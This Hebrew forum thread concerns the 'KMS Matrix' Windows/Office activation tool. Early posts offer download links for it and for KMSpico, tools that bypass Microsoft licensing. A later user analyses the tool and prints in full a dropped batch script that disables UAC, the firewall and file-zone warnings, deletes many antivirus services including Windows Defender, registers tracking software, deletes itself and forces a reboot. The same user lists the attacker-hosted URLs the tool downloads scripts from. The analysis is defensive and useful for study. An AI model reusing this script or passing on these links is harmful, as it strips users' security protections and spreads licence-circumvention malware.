KMS Matrix 5.5 - מידע והפעלת חלונות ואופיס

[P--L]

התוכנית הזעירה הזאת חושפת מידע על מצב ההפעלה של חלונות ואופיס,
ומאפשרת הפעלה נפרדת לכל אחת מהן.
אין בתוכנה התקנת תהליך רקע קבוע לתיזמון הפעלה עתידית.

10 מ"ב

https://rapidgator.net/file/5e9e84fa...x_5.5.zip.html
או
https://turb.cc/5iujftwx06sg.html
או
https://nitroflare.com/view/92B91B09...Matrix_5.5.rar

[P--L]

עדכון מגירסה 5.4

[GoVegan]

האם מחייב הפעלה מחדש?
מצאתי גם את זה - https://kolompc.com/windows-10-digital-license/ מכיר?
אני מעדיף לרכוש בכמה דולרים באייבי במידה וצריך להפעיל מחדש.

תודה

[P--L]

1. K-Matrix לא מחייב הפעלה מחדש, אבל בניגוד למפעילים אחרים,
איננו מייצר תהליך קבוע, ובעוד 180 יום יש להפעיל שוב.
2. לרכוש קובץ מפעיל חלונות במרשתת ???
זה כמו להגיד לקנות בחנות כלים לפריצה לבתים...
וזה לא מבטיח שום דבר לגבי יעילותם או בטיחותם.
3. אם אתה רוצה להבטיח חוקיות וניקיון, רכוש כבר רישיון ממיקרוזיפט.

[GoVegan]

1. K-Matrix לא מחייב הפעלה מחדש, אבל בניגוד למפעילים אחרים, איננו מייצר תהליך קבוע, ובעוד 180 יום יש להפעיל שוב.
2. לרכוש קובץ מפעיל חלונות במרשתת ??? זה כמו להגיד לקנות בחנות כלים לפריצה לבתים...
וזה לא מבטיח שום דבר לגבי יעילותו או בטיחותו.

אין לי בעיה להפעיל בשנית עוד 180 יום, אנסה אותו. תודה
לגבי רכישת רישיון - קרא את המאמר הבא... https://www.geektime.co.il/buying-mi...ions-off-ebay/

[P--L]

לבדיקת מפעילים אחרים, חלקם עם תהליך אוטומטי, עיין כאן

[shaulyael]

לבדיקת מפעילים אחרים, חלקם עם תהליך אוטומטי, עיין כאן

הרוב כבר לא עובדים .
כאן עובד .KMSpico Activator
https://f2h.io/ro63y7f61fhj

[P--L]

הרוב כבר לא עובדים .
.KMSpico Activator

הכל עובד

[GoVegan]

איזו טעות...

https://any.run/report/f84a986f8b770...0-825b699caf48
https://www.hybrid-analysis.com/sample/f84a986f8b770b99af4f07ce6e953b6e5fc9765429ef861b8e fffa3792199bc7
https://analyze.intezer.com/files/f8...fffa3792199bc7

[GoVegan]

ביצעתי deactivate בזמן ש-Process Monitor רץ ומנטר את KMS Matrix.exe
נחש מה...? כל קבצי ההרצה המשונים שהוא זורק ב-windows folder וכו' וכל השינויים ב-registry ? הכל נשאר אותו הדבר!

[GoVegan]

אחד מהקבצים שהוא זורק לדיסק, c.bat

@echo off
set "osX=%PROCESSOR_ARCHITECTURE%"
if defined PROCESSOR_ARCHITEW6432 set "osX=AMD64"
if "%osX%"=="x86" (
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Po licies\System" /v "EnableLUA" /t REG_DWORD /d "00000000" /f
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Po licies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "00000000" /f
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Po licies\System" /v "PromptOnSecureDesktop" /t REG_DWORD /d "00000000" /f
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Po licies\System" /v "ConsentPromptBehaviorUser" /t REG_DWORD /d "00000000" /f
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Po licies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Po licies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg; .msi ;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.m p3;.m3u;.wav;" /f
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Po licies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Po licies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg64.ex e" /f
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlls.dll" /f
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlservice.ex e" /f
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -boot" /f
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=868" /f
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge" /f
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "QHSafeTray" /f
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "Zillya Antivirus" /f
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "SBAMTray" /f
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "SBRegRebootCleaner" /f
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "IseUI" /f
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "COMODO Internet Security" /f
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "ClamWin" /f
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "Avira SystrayStartTrigger" /f
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "SUPERAntiSpyware" /f
Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersio n\Ru n" /v "SUPERAntiSpyware" /f
) else (
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Po licies\System" /v "EnableLUA" /t REG_DWORD /d "00000000" /f /reg:64
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Po licies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "00000000" /f /reg:64
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Po licies\System" /v "PromptOnSecureDesktop" /t REG_DWORD /d "00000000" /f /reg:64
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Po licies\System" /v "ConsentPromptBehaviorUser" /t REG_DWORD /d "00000000" /f /reg:64
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Po licies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f /reg:64
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Po licies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg; .msi ;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.m p3;.m3u;.wav;" /f /reg:64
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Po licies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f /reg:64
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Po licies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f /reg:64
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg .exe -bootremove -uninst:RelevantKnowledge" /f /reg:32
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f /reg:32
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f /reg:32
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg 64.e xe" /f /reg:32
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlls.dl l" /f /reg:32
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlservi ce.e xe" /f /reg:32
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f /reg:32
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg .exe -boot" /f /reg:32
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=868" /f /reg:32
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Un install\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge" /f /reg:32
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "QHSafeTray" /f /reg:32
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "Zillya Antivirus" /f /reg:32
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "SBAMTray" /f /reg:32
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "SBRegRebootCleaner" /f /reg:32
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "IseUI" /f /reg:32
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "COMODO Internet Security" /f /reg:32
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "ClamWin" /f /reg:32
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "Avira SystrayStartTrigger" /f /reg:32
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "SUPERAntiSpyware" /f /reg:32
Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersio n\Ru n" /v "SUPERAntiSpyware" /f /reg:32
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "QHSafeTray" /f /reg:64
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "Zillya Antivirus" /f /reg:64
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "SBAMTray" /f /reg:64
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "SBRegRebootCleaner" /f /reg:64
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "IseUI" /f /reg:64
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "COMODO Internet Security" /f /reg:64
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "ClamWin" /f /reg:64
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "Avira SystrayStartTrigger" /f /reg:64
Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n" /v "SUPERAntiSpyware" /f /reg:64
Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersio n\Ru n" /v "SUPERAntiSpyware" /f /reg:64
)
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE4. 0.0" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE3. 0.0" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE2. 0.0" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE1. 0.0" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP20. 0.0" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP19. 0.0" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP18. 0.0" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP17. 0.0" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP16. 0.0" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP15. 0.0" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP14. 0.0" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP13. 0.0" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP12. 0.0" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP11. 0.0" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP10. 0.0" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MBAMSe rvic e" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAWFw k" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MSK80S ervi ce" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAPEx e" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McBoot Dela yStartSvc" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mccsps vc" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfefir e" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\HomeNe tSvc " /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Module Core Service" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McMPFS vc" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mcplts vc" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McProx y" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McODS" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfemms " /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAfee SiteAdvisor Service" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfevtp " /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McNaiA nn" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\nanosv c" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Norton Secu rity" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\!SASCO RE" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\SBAMSv c" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Zillya AVAu xSvc" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Zillya AVCo reSvc" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\QHActi veDe fense" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Antivirus" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Firewall" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVG Antivirus" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVi rMai lService" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVi rSer vice" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Avira. Serv iceHost" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVi rWeb Service" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVi rSch edulerService" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsserv ppl" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Produc tAge ntService" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsserv " /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\update srv" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdAge nt" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdvir th" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Dragon Upda ter" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\024714 1531 883172mcinstcleanup" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\PEFSer vice " /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MsMpSv c" /f
Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\WinDef end" /f
Reg Add "HKLM\SYSTEM\CurrentControlSet\services\ekrn" /v "Start" /t REG_DWORD /d "4" /f
Reg Add "HKLM\SYSTEM\CurrentControlSet\services\Shared Acce ss" /v "Start" /t REG_DWORD /d "00000004" /f
Reg Add "HKLM\SYSTEM\CurrentControlSet\services\MpsSvc " /v "Start" /t REG_DWORD /d "00000004" /f
Reg Add "HKLM\SYSTEM\CurrentControlset\Control\Nls\Lan guag e" /v "Default" /t REG_SZ /d "0409" /f
Reg Add "HKLM\SYSTEM\CurrentControlset\Control\Nls\Loc ale" /v "(Default)" /t REG_SZ /d "00000409" /f
bcdedit /deletevalue "{current}" safeboot
regedit /s %windir%\d.reg
set /a tz=(%random%%%4)+1
if %tz% == 1 regedit /s %windir%\at.reg
if %tz% == 2 regedit /s %windir%\ct.reg
if %tz% == 3 regedit /s %windir%\et.reg
if %tz% == 4 regedit /s %windir%\mt.reg
del %windir%\Set-up.exe
del %windir%\at.reg
del %windir%\ct.reg
del %windir%\et.reg
del %windir%\mt.reg
del %windir%\d.reg
del %windir%\b.bat
shutdown /r /f /t 10
del %0

[GoVegan]

כל עוד זה לא קוד פתוח ייקח המון זמן לפענח את זה למי שינסה... אבל במבט ראשוני זה לא נראה טוב בכלל.

אפילו אם רק נסתכל על ה-http request

http://kkk.godmatix.com/r/b
http://kkk.godmatix.com/r/b.bat
http://kkk.godmatix.com/r/c
http://kkk.godmatix.com/r/c.bat
http://kkk.godmatix.com/r/d
http://kkk.godmatix.com/r/d.bat
http://kkk.godmatix.com/r/cr
http://kkk.godmatix.com/r/c.reg
http://kkk.godmatix.com/r/dr
http://kkk.godmatix.com/r/d.reg
http://kkk.godmatix.com/r/er
http://kkk.godmatix.com/r/e.reg
http://kkk.godmatix.com/r/mn
http://kkk.godmatix.com/r/mn.reg
http://kkk.godmatix.com/r/mf
http://kkk.godmatix.com/r/mf.reg
http://kkk.godmatix.com/r/at
http://kkk.godmatix.com/r/at.reg
http://kkk.godmatix.com/r/ct
http://kkk.godmatix.com/r/ct.reg
http://kkk.godmatix.com/r/et
http://kkk.godmatix.com/r/et.reg
http://kkk.godmatix.com/r/mt
http://kkk.godmatix.com/r/mt.reg
http://kkk.godmatix.com/r/y
http://kkk.godmatix.com/r/y.txt
http://kkk.godmatix.com/cu/l.php?subid=p1_kmatrix_55
http://kkk.godmatix.com/r/wupdates.bat


מה הבעיה לשנות בשלב מסוים את אחד הקבצים לקוד זדוני, ולתכנן את זה שבזמן מסוים תתבצע יצירת קשר יזום? אפשרי בהחלט.
לביינתים הוספתי לקובץ ה-host את הערכים הבאים, אבל זה פלסטר.... אם בכלל.
127.0.0.1 kkk.godmatix.com
127.0.0.1 godmatix.com

מצאתי פיתרון קוד פתוח, אבל חבל על הזמן כאשר אפשר לרכוש רישיון חוקי בכמה דולרים בודדים.... :)
https://news.ycombinator.com/item?id=20805564

[GoVegan]

אמן שאלוהים ייקח את מי שיצר את הכלי הזה
הייתי באמצע מחקר עם 700 דברים פתוחים (מאות טאבים, תיקיות פתוחות, NitroPDF, העתקה ב-teracopy שנמשכת כבר כמה ימים) ובטעות רשמתי ב-run את האות c ולחצתי enter במקום cmd.exe
ברגע שעושים את זה הוא מריץ את c.bat מתוך windows (הקובץ שפרסמתי אמש ב-03:10) ומכבה את המחשב אחרי 10 שניות

[OM]

לצחוק או לבכות?

לא הבנתי לעומק מה הבעיה אצלך כרגע
איפה הבעיה?
וגם משתמע מדבריך שרכשת רישיון
אז למה הפעלת אותו?

[GoVegan]

לצחוק או לבכות?

לא הבנתי לעומק מה הבעיה אצלך כרגע
איפה הבעיה?
וגם משתמע מדבריך שרכשת רישיון
אז למה הפעלת אותו?

לבכות

והבעיה היא שישנה אפשרות שמדובר בקובץ זדוני בסופו של דבר...
וטרם רכשתי